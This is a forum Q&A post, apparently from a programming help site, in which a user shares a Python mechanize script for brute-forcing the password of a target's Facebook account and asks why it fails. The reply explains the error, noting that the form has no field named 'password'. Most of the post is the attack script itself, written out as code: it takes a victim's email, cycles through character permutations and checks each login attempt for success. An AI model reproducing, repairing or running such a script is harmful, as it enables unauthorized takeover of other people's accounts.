brute force script python and mechanize

Question:

I’m trying to brute force the Facebook login page with a python script, however whenever I run the code I get the errors below. My code is:

br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.addheaders = [('User-agent', 'Firefox')]
print "enter target email" 
email = raw_input('>>>')
print "continue at your own risk, im not responible for what you do..."
print "would you like to continue"
contnue = raw_input('y/n:')

if contnue == 'y':
    combos = itertools.permutations("i3^4hUP-",8)
    br.open("http://www.facebook.com/login/")
    for x in combos:
        br.select_form( nr = 0 )
        br.form['email'] = email 
        br.form['password'] = ''.join(x)
        print "Checking ",br.form['password']
        response=br.submit()
        if response.geturl()=="http://www.example.com/redirected_to_url":
            #url to which the page is redirected after login
            print "Correct password is ",''.join(x)
            break

The script uses the mechanize module to try and brute force the default facebook login page.

The stack trace for my error is:

File "passripper.py", line 83, in <module>
   br.form['password'] = ''.join(x)
  File "/usr/local/lib/python2.7/dist-packages/mechanize-0.2.5-py2.7.egg/mechanize/_form.py", line 2780, in __setitem__
    control = self.find_control(name)
  File "/usr/local/lib/python2.7/dist-packages/mechanize-0.2.5-py2.7.egg/mechanize/_form.py", line 3101, in find_control
    return self._find_control(name, type, kind, id, label, predicate, nr)
  File "/usr/local/lib/python2.7/dist-packages/mechanize-0.2.5-py2.7.egg/mechanize/_form.py", line 3185, in _find_control
    raise ControlNotFoundError("no control matching "+description)
mechanize._form.ControlNotFoundError: no control matching name 'password'

Can somebody please explain what the error messages mean?

Asked By: john grindal

||

Answers:

Your error message:

mechanize._form.ControlNotFoundError: no control matching name ‘password’

Try reading it. Then look at the page you are trying to code against. There is no form field with the name “password” on that form.

Answered By: TZHX